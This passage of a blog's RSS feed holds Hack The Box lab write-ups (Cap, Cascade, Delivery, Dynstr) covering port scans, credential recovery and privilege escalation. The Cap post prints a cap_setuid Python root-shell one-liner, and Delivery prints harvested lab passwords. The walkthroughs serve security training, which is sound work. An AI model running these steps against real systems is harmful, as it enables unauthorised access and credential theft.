      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Cap.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Cap</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan UDP Scan Web ...</description>
      <category>Write-Up</category>
      <pubDate>Mon, 21 Jun 2021 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -p- -Pn --open -iL ../input_ip.txt -oA nmap_open_tcp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">21/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ftp</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">22/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssh</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">80/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  http</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>UDP Scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_ports</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h2>Web appliction - TCP/80</h2>
<p>The TCP/80 port has a Web application where the user is directly connected as the user <code>nathan</code>.</p>
<figure><figcaption>dashboard-nathan</figcaption></figure>
<p>Network information can be consulted from the dashboard, and a network capture can be downloaded.
Two URL were discovered, the first <a href="http://10.129.172.148/data/1" target="_blank" rel="noopener noreferrer">http://10.129.172.148/data/1</a> was located in the HTML source code and the second one was found by incrementing the first. The second was <a href="http://10.129.172.148/data/2" target="_blank" rel="noopener noreferrer">http://10.129.172.148/data/2</a>.
Only HTTP trafffic was found into both.</p>
<p>By decrementing the id, it was possible to found the following URL <a href="http://10.129.172.148/data/0" target="_blank" rel="noopener noreferrer">http://10.129.172.148/data/0</a></p>
<p>FTP trafic was into the network capture and credentials for the user <code>nathan</code> were found. The associated password was <code>Buck3tH4TF0RM3!</code>.</p>
<figure><figcaption>ftp-access</figcaption></figure>
<p>It is then possible to connect as <code>nathan</code> with SSH.</p>
<h3>Flag</h3>
<p>The flag was retrieved on the machine.</p>
<figure><figcaption>user-flag</figcaption></figure>
<h2>Root</h2>
<p>The binary located <code>/usr/bin/python3.8</code> binary has the capabilities of <code>cap_setuid</code>.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>nathan@cap:~$ getcap /usr/bin/python3.8</span></span>
<span class="line"><span>/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>It then possible to exploit this to gain a root access.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><figure><figcaption>root-access</figcaption></figure>
<h3>Flag</h3>
<p>The root flag was retrieved on the machine.</p>
<figure><figcaption>root-flag</figcaption></figure>
]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Cascade</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Cascade.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Cascade.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Cascade</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: open_tcp_ports_nmap Th...</description>
      <category>Write-Up</category>
      <pubDate>Sat, 25 Jul 2020 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:
</p>
<p>The port TCP/88 is related to the Kerberos service. Founding it listening in addition to the TCP/53 port and other ports might let think that the machine is a Domain Controller. The result of the scan reveals that the Windows host belongs to the domain <code>enum4linux -w cascade. local -a 10.10.10.182</code>.</p>
<h2>Recon</h2>
<p>Multiple ports looked to be listening on the box. Part of the recon process, couple of Windows related ports were checked.</p>
<p>The tool <code>smbclient</code> was used to try to connect to the SMB service as an anonymous user.</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> smbclient </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">N </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">L </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.182</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Anonymous login successful</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        Sharename       Type      Comment</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Delivery</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Delivery.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Delivery.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Delivery</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP ports scan was done on the box. The TCP scan revealed that the following ports are open: open_tcp_ports_nmapopen...</description>
      <category>Write-Up</category>
      <pubDate>Sat, 15 Feb 2020 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP ports scan was done on the box. The TCP scan revealed that the following ports are open:</p>
<figure><figcaption>open_tcp_ports_nmap</figcaption></figure>
<p>The port TCP/22 is related to the SSH service.
The port TCP/80 is hosting a Web application.</p>
<figure><figcaption></figcaption></figure>
<p>The port TCP/8065 is hosting a Mattermost application.</p>
<figure><figcaption></figcaption></figure>
<h2>Port TCP/80</h2>
<p>The web application has a link to an helpdesk at the address : <code>http://helpdesk.delivery.htb/</code>.</p>
<figure><figcaption></figcaption></figure>
<p>The new host was added to the <code>/etc/hosts</code> file.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">$</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt; </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">echo</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "10.10.10.222 helpdesk.delivery.htb"</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &gt;&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /etc/hosts</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>I crawled the application and discovered few pages :</p>
<ul>
<li>index.php</li>
<li>open.php</li>
<li>view.php</li>
<li>login.php</li>
<li>account.php with the parameter <code>do</code> and the value <code>create</code></li>
<li>pwreset.php</li>
</ul>
<figure><figcaption></figcaption></figure>
<p>The application is an instance of osTicket :</p>
<figure><figcaption></figcaption></figure>
<h3>Ticket creation</h3>
<p>I created a new ticket.</p>
<figure><figcaption></figcaption></figure>
<p>I was then able to retrieve a ticket id <code>1073911</code> and an email address <code>1073911@delivery.htb</code>.</p>
<figure><figcaption></figcaption></figure>
<p>I was also able to check my ticket status.</p>
<figure><figcaption></figcaption></figure>
<p>I tried to register to the osTicket application with the new email but I did not receive any email. However, I remembered that there was a Mattermost application. The application let the users register themselves.</p>
<figure><figcaption></figcaption></figure>
<p>However, the application ask for to verify the email address.</p>
<figure><figcaption></figcaption></figure>
<p>The only email address I could use is the one given by osTicket after creating a new ticket. So, I tried to signup to the Mattermost application with the email address <code>1073911@delivery.htb</code>. I checked the ticket status and saw the Mattermost confirmation email.</p>
<figure><figcaption></figcaption></figure>
<p>I clicked on the link <a href="http://delivery.htb:8065/do_verify_email?token=ctk9icxq9gdsrdfufbwqh7rw43jqfqasu3gkipt4yz4a8r7be75kg6si38w4k7f1&amp;email=1073911%40delivery.htb" target="_blank" rel="noopener noreferrer">http://delivery.htb:8065/do_verify_email?token=ctk9icxq9gdsrdfufbwqh7rw43jqfqasu3gkipt4yz4a8r7be75kg6si38w4k7f1&amp;email=1073911%40delivery.htb</a> and validated my inscription to the Mattermost application.</p>
<figure><figcaption></figcaption></figure>
<p>I connected to the application and quickly identified that a team called <code>Internal</code> already exists.</p>
<figure><figcaption></figcaption></figure>
<p>I was able to select it and browse the public channels. In particular <code>Internal</code> that contains sensitive information such as a login and a password.</p>
<figure><figcaption></figcaption></figure>
<p>The retrieved credentials are linked to the osTicket application and are <code>maildeliverer:Youve_G0t_Mail!</code>.</p>
<p>Another message by the user <code>root</code> asks the developers to stop reusing passwords everywhere. From <code>root</code>, these passwords are variant of <code>PleaseSubscribe!</code>.</p>
<h2>SSH as user <code>maildeliverer</code></h2>
<p>By using the credentials retrived previously, I was able to connect to the machine through the SSH protocol.</p>
<figure><figcaption></figcaption></figure>
<p>The user flag <code>45392429463d9a9ea4129f737513b9e6</code> was retrieved on the machine.
</p>
<h2>Mattermost configuration files</h2>
<p>After digging into the osTicket configuration folder I went for Mattermost and checked the configuration files.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">maildeliverer@Delivery:/opt/mattermost/config$</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ls</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">total</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 36K</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">drwxrwxr-x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  2</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mattermost</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mattermost</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 4.0K</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Dec</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 26</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 09:23</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> .</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">drwxrwxr-x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 12</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mattermost</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mattermost</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 4.0K</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Dec</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 26</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 09:24</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ..</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">-rw-rw-r--</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mattermost</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mattermost</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  922</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Dec</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 18</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 08:52</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cloud_defaults.json</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">-rw-rw-r--</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mattermost</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mattermost</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  19K</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Apr</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  8</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 12:57</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> config.json</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">-rw-rw-r--</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mattermost</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mattermost</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  243</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Dec</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 18</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 08:52</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> README.md</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">maildeliverer@Delivery:/opt/mattermost/config$</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cat</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> config.json</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [...]</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  "SqlSettings"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       "DriverName"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "mysql",</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       "DataSource"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       "DataSourceReplicas"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [],</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       "DataSourceSearchReplicas"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [],</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       "MaxIdleConns"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 20,</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       "ConnMaxLifetimeMilliseconds"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 3600000,</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       "MaxOpenConns"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 300,</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       "Trace"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> false</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">,</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       "AtRestEncryptKey"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "n5uax3d4f919obtsp1pw1k5xetq1enez",</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       "QueryTimeout"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 30,</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       "DisableDatabaseSearch"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> false</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">   },</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The mysql user <code>mmuser</code> with the associated password <code>Crack_The_MM_Admin_PW</code> was discovered.</p>
<h2>MySQL discovery</h2>
<p>I used the previous found credentials to log onto the box.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">maildeliverer@Delivery:~$</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mysql</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -u</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mmuser</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -p</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Enter</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> password:</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Welcome</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> MariaDB</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> monitor.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Commands</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> end</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> with</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">or</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> \g</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Your</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> MariaDB</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> connection</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> id</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 136</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Server</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> version:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 10.3.27-MariaDB-0+deb10u1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Debian</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Copyright</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Type</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'help;'</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> or</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> '\h'</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> help.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Type</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> '\c'</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> clear</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> current</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> input</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> statement.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">MariaDB</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [(none)]</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> show databases;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">+</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Dynstr</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Dynstr.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Dynstr.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Dynstr</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan UDP Scan User...</description>
      <category>Write-Up</category>
      <pubDate>Mon, 28 Jun 2021 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -p- -Pn --open -iL ../input_ip.txt -oA nmap_open_tcp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">22/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssh</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">53/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  domain</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">80/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  http</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>UDP Scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">53/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">          domain</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">68/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> dhcpc</span></span>
